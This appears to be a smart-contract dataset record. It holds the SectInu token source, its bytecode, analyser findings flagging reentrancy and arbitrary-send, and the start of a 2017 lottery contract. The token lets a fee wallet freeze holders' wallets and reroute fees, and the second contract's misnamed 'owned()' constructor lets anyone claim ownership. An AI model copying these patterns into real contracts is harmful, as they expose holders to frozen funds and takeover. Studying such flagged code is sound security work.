event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SectInu is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"SectInu"; ////
string public constant symbol = unicode"SECTINU"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 2;
uint public _sellFee = 2;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function setBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e11610118578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105f6578063db92dbb61461060b578063dcb0e0ad14610620578063dd62ed3e14610640578063e8078d941461068657600080fd5b8063a9059cbb1461058b578063b2131f7d146105ab578063b515566a146105c1578063c3c8cd80146105e157600080fd5b806370a08231116100e757806370a08231146104e5578063715018a6146105055780638da5cb5b1461051a57806394b8d8f21461053857806395d89b411461055857600080fd5b806349bd5a5e1461047a578063509016171461049a578063590f897e146104ba5780636fc3eaec146104d057600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b35780633bbac579146103eb5780633bed43551461042457806340b9a54b1461044457806345596e2e1461045a57600080fd5b806327f3a72a14610341578063313ce5671461035657806331c2d8471461037d57806332d873d81461039d57600080fd5b80630b78f9c0116101d75780630b78f9c0146102cf57806318160ddd146102ef5780631940d0201461030b57806323b872dd1461032157600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f61461027d578063095ea7b31461029f57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102706040518060400160405280600781526020016653656374496e7560c81b81525081565b6040516102349190611c18565b34801561028957600080fd5b5061029d610298366004611c92565b61069b565b005b3480156102ab57600080fd5b506102bf6102ba366004611caf565b610710565b6040519015158152602001610234565b3480156102db57600080fd5b5061029d6102ea366004611cdb565b610726565b3480156102fb57600080fd5b50683635c9adc5dea0000061022a565b34801561031757600080fd5b5061022a600f5481565b34801561032d57600080fd5b506102bf61033c366004611cfd565b6107a9565b34801561034d57600080fd5b5061022a610891565b34801561036257600080fd5b5061036b600981565b60405160ff9091168152602001610234565b34801561038957600080fd5b5061029d610398366004611d54565b6108a1565b3480156103a957600080fd5b5061022a60105481565b3480156103bf57600080fd5b506009546103d3906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103f757600080fd5b506102bf610406366004611c92565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043057600080fd5b506008546103d3906001600160a01b031681565b34801561045057600080fd5b5061022a600b5481565b34801561046657600080fd5b5061029d610475366004611e19565b61092d565b34801561048657600080fd5b50600a546103d3906001600160a01b031681565b3480156104a657600080fd5b5061029d6104b5366004611c92565b6109f1565b3480156104c657600080fd5b5061022a600c5481565b3480156104dc57600080fd5b5061029d610a5f565b3480156104f157600080fd5b5061022a610500366004611c92565b610a8c565b34801561051157600080fd5b5061029d610aa7565b34801561052657600080fd5b506000546001600160a01b03166103d3565b34801561054457600080fd5b506011546102bf9062010000900460ff1681565b34801561056457600080fd5b506102706040518060400160405280600781526020016653454354494e5560c81b81525081565b34801561059757600080fd5b506102bf6105a6366004611caf565b610b1b565b3480156105b757600080fd5b5061022a600d5481565b3480156105cd57600080fd5b5061029d6105dc366004611d54565b610b28565b3480156105ed57600080fd5b5061029d610c37565b34801561060257600080fd5b5061029d610c6d565b34801561061757600080fd5b5061022a610d09565b34801561062c57600080fd5b5061029d61063b366004611e40565b610d21565b34801561064c57600080fd5b5061022a61065b366004611e5d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069257600080fd5b5061029d610d9e565b6008546001600160a01b0316336001600160a01b0316146106bb57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061071d3384846110e5565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074657600080fd5b600a82111561075457600080fd5b600a81111561076257600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107d757506001600160a01b03831660009081526004602052604090205460ff16155b80156107f05750600a546001600160a01b038581169116145b1561083f576001600160a01b038316321461083f5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084a848484611209565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610879908490611eac565b90506108868533836110e5565b506001949350505050565b600061089c30610a8c565b905090565b6008546001600160a01b0316336001600160a01b0316146108c157600080fd5b60005b8151811015610929576000600660008484815181106108e5576108e5611ec3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092181611ed9565b9150506108c4565b5050565b6000546001600160a01b031633146109575760405162461bcd60e51b815260040161083690611ef2565b6008546001600160a01b0316336001600160a01b03161461097757600080fd5b600081116109bc5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610836565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610705565b6009546001600160a01b0316336001600160a01b031614610a1157600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610705565b6008546001600160a01b0316336001600160a01b031614610a7f57600080fd5b47610a8981611877565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161083690611ef2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061071d338484611209565b6008546001600160a01b0316336001600160a01b031614610b4857600080fd5b60005b815181101561092957600a5482516001600160a01b0390911690839083908110610b7757610b77611ec3565b60200260200101516001600160a01b031614158015610bc8575060075482516001600160a01b0390911690839083908110610bb457610bb4611ec3565b60200260200101516001600160a01b031614155b15610c2557600160066000848481518110610be557610be5611ec3565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2f81611ed9565b915050610b4b565b6008546001600160a01b0316336001600160a01b031614610c5757600080fd5b6000610c6230610a8c565b9050610a89816118fc565b6000546001600160a01b03163314610c975760405162461bcd60e51b815260040161083690611ef2565b60115460ff1615610ce45760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610836565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a5460009061089c906001600160a01b0316610a8c565b6000546001600160a01b03163314610d4b5760405162461bcd60e51b815260040161083690611ef2565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610705565b6000546001600160a01b03163314610dc85760405162461bcd60e51b815260040161083690611ef2565b60115460ff1615610e155760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610836565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e523082683635c9adc5dea000006110e5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb49190611f27565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f259190611f27565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f969190611f27565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fc681610a8c565b600080610fdb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611043573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110689190611f44565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109299190611f72565b6001600160a01b0383166111475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610836565b6001600160a01b0382166111a85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610836565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661126d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610836565b6001600160a01b0382166112cf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610836565b600081116113315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610836565b6001600160a01b03831660009081526006602052604090205460ff16156113a65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610836565b600080546001600160a01b038581169116148015906113d357506000546001600160a01b03848116911614155b1561181857600a546001600160a01b03858116911614801561140357506007546001600160a01b03848116911614155b801561142857506001600160a01b03831660009081526004602052604090205460ff16155b156116b45760115460ff1661147f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610836565b60105442036114be5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610836565b42601054610e106114cf9190611f8f565b111561154957600f546114e184610a8c565b6114eb9084611f8f565b11156115495760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610836565b6001600160a01b03831660009081526005602052604090206001015460ff166115b1576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115c19190611f8f565b111561169557600e548211156116195760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610836565b61162442600f611f8f565b6001600160a01b038416600090815260056020526040902054106116955760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610836565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116ce575060115460ff165b80156116e85750600a546001600160a01b03858116911614155b15611818576116f842600f611f8f565b6001600160a01b0385166000908152600560205260409020541061176a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610836565b600061177530610a8c565b905080156118015760115462010000900460ff16156117f857600d54600a54606491906117aa906001600160a01b0316610a8c565b6117b49190611fa7565b6117be9190611fc6565b8111156117f857600d54600a54606491906117e1906001600160a01b0316610a8c565b6117eb9190611fa7565b6117f59190611fc6565b90505b611801816118fc565b4780156118115761181147611877565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061185a57506001600160a01b03841660009081526004602052604090205460ff165b15611863575060005b6118708585858486611a70565b5050505050565b6008546001600160a01b03166108fc611891600284611fc6565b6040518115909202916000818181858888f193505050501580156118b9573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118d4600284611fc6565b6040518115909202916000818181858888f19350505050158015610929573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194057611940611ec3565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611999573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bd9190611f27565b816001815181106119d0576119d0611ec3565b6001600160a01b0392831660209182029290920101526007546119f691309116846110e5565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a2f908590600090869030904290600401611fe8565b600060405180830381600087803b158015611a4957600080fd5b505af1158015611a5d573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a7c8383611a92565b9050611a8a86868684611ad9565b505050505050565b6000808315611ad2578215611aaa5750600b54611ad2565b50600c54601054611abd90610384611f8f565b421015611ad257611acf600582611f8f565b90505b9392505050565b600080611ae68484611bb6565b6001600160a01b0388166000908152600260205260409020549193509150611b0f908590611eac565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b3f908390611f8f565b6001600160a01b038616600090815260026020526040902055611b6181611bea565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ba691815260200190565b60405180910390a3505050505050565b600080806064611bc68587611fa7565b611bd09190611fc6565b90506000611bde8287611eac565b96919550909350505050565b30600090815260026020526040902054611c05908290611f8f565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c4557858101830151858201604001528201611c29565b81811115611c57576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8957600080fd5b8035611c8d81611c6d565b919050565b600060208284031215611ca457600080fd5b8135611ad281611c6d565b60008060408385031215611cc257600080fd5b8235611ccd81611c6d565b946020939093013593505050565b60008060408385031215611cee57600080fd5b50508035926020909101359150565b600080600060608486031215611d1257600080fd5b8335611d1d81611c6d565b92506020840135611d2d81611c6d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d6757600080fd5b823567ffffffffffffffff80821115611d7f57600080fd5b818501915085601f830112611d9357600080fd5b813581811115611da557611da5611d3e565b8060051b604051601f19603f83011681018181108582111715611dca57611dca611d3e565b604052918252848201925083810185019188831115611de857600080fd5b938501935b82851015611e0d57611dfe85611c82565b84529385019392850192611ded565b98975050505050505050565b600060208284031215611e2b57600080fd5b5035919050565b8015158114610a8957600080fd5b600060208284031215611e5257600080fd5b8135611ad281611e32565b60008060408385031215611e7057600080fd5b8235611e7b81611c6d565b91506020830135611e8b81611c6d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ebe57611ebe611e96565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611eeb57611eeb611e96565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3957600080fd5b8151611ad281611c6d565b600080600060608486031215611f5957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8457600080fd5b8151611ad281611e32565b60008219821115611fa257611fa2611e96565b500190565b6000816000190483118215151615611fc157611fc1611e96565b500290565b600082611fe357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120385784516001600160a01b031683529383019391830191600101612013565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204e4d6213c9d355fede9d410518fee1ff0a7e6e16ca3fa2853e7b5ceb51076f3164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,704 |
0x3f60a98202cf7ac8be9afc077e6c28f2638009f4
|
pragma solidity ^0.4.15; //MMMMMMM*~+> Self-documenting smart contract. <+~*M //
// MMMMWKkk0KNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM //
// MMMMXl.....,cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,.....dNMMMM //
// MMMWd. .'cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0d:'. .xMMMM //
// MMMK, ...... ..:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ..... :XMMM //
// MMWd. .;;;,,'.. .'lkXNWWNNNWMMMMMMMMMMWNNWWWNKkc.. ...',;;;,. .kMMM //
// MMNc .,::::::;,'.. ..,;;,,dNMMMMMMMMMMXl,;;;,.. ..';;::::::'. .lWMM //
// MM0' .;:::::::;;'.. ;0MMMMMMMMMMMWO' ..,;;:::::::;. ;KMM //
// MMx. .';::::;,'... .:0MMMMMMMMMMMMMWO;. ...';;::::;.. .OMM //
// MWd. .,:::;'.. .,xNMMMMMMMMMMMMMMMMXd'. ..,;:::'. .xMM //
// MNl. .,:;'.. .,ckNMMMMMMMMMMMMMMMMMMMMXxc'. ..';:,. .dWM //
// MNc .,,.. .;:clox0NWXXWMMMMMMMMMMMMMMMMMMWXXWXOxolc:;. ..,'. .oWM //
// MNc ... .oWMMMNXNMW0odXMMMMMMMMMMMMMMMMKooKWMNXNMMMNc. ... .oWM //
// MNc. ;KMMMMNkokNMXlcKMMMMMMMMMMMMMM0coNMNxoOWMMMM0, .oWM //
// MNc .;0MMMMMMWO:dNMNoxWMMMMMMMMMMMMNddNMNocKMMMMMMWO, .oWM //
// MX: .lXMMMMMMMMM0lOMMNXWMMMMMMMMMMMMWXNMMklKMMMMMMMMM0:. .lNM //
// MX; .;kWMMMMMMMMMMMXNMMMMMMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMNx,. cNM //
// MO. .:kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx:. . ,0M //
// Wl..':dKWMMMMMMMWNK000KNMMMMMMMMMMMMMMMMMMMMMMMMMWNK000KNMMMMMMMMW0o;...dW //
// NxdOXWMMMMMMMW0olcc::;,,cxXWMMMMMMMMMMMMMMMMMMWKd:,,;::ccld0WMMMMMMMWKkokW //
// MMMMMMMMMMMWOlcd0XWWWN0x:.,OMMMMMMMMMMMMMMMMMWk,'cxKNWWWXOdcl0MMMMMMMMMMMM //
// MMMMMMMMMMMWKKWMMMMMMMMMWK0XMMMMMMMMMMMMMMMMMMXOXWMMMMMMMMMN0XMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWK0OOOO0KWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo.......'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMNKOkkkk0XNMMMMMMMMMMMMMMMMMMWO;. .:0WMMMMMMMMMMMMMMMMMWNKOkkkkOKNMMM //
// MMWXOkxddoddxxkKWMMMMMMMMMMMMMMMMXo...'dNMMMMMMMMMMMMMMMMN0kxxdodddxk0XMMM //
// MMMMMMMMMMMMWNKKNMMMMMMMMMMMMMMMMWOc,,c0WMMMMMMMMMMMMMMMMXKKNWMMMMMMMMMMMM //
// MMMMMMMMWXKKXXNWMMMMMMMMMMWWWWWX0xcclc:cxKNWWWWWMMMMMMMMMMWNXXKKXWMMMMMMMM //
// MMMWXOxdoooddxkO0NMMMMMMMWKkfoahheitNX0GlikkdakXMMMMMMMWX0OkxddooddxOXWMMM //
// MMMWXKKNNWMMMMMWWWMMMMMMMMMWNXXXNWMMMMMMWXXXXNWMMMMMMMMMWWWMMMMWWNXKKNWMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Lucky* MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMM> *~+> we are the MMMMMMMMMMMM Number MMMMMMM> we are the <+~* <MMMMMMM //
// MMMMMMMMMM> music <MMMMMMMMMMMMMM ------ MMMMMMMMMM> dreamer <MMMMMMMMMMMM //
// MMMMMMMM> *~+> makers <MMMMM<MMMM Random MMMMMMMMMMMMM> of <MMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Ledger MMMMMMMMMMMMMM> dreams. <+~* <MMM //
// M> palimpsest by <MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// ~> arkimedes.eth <~+~+~+~~+~+~+~~+~+~+~~+~+~+~~+~+~+~> VIII*XXII*MMXVII <~ //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
/**
* Manages contract ownership.
*/
contract Owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
/**
* SafeMath
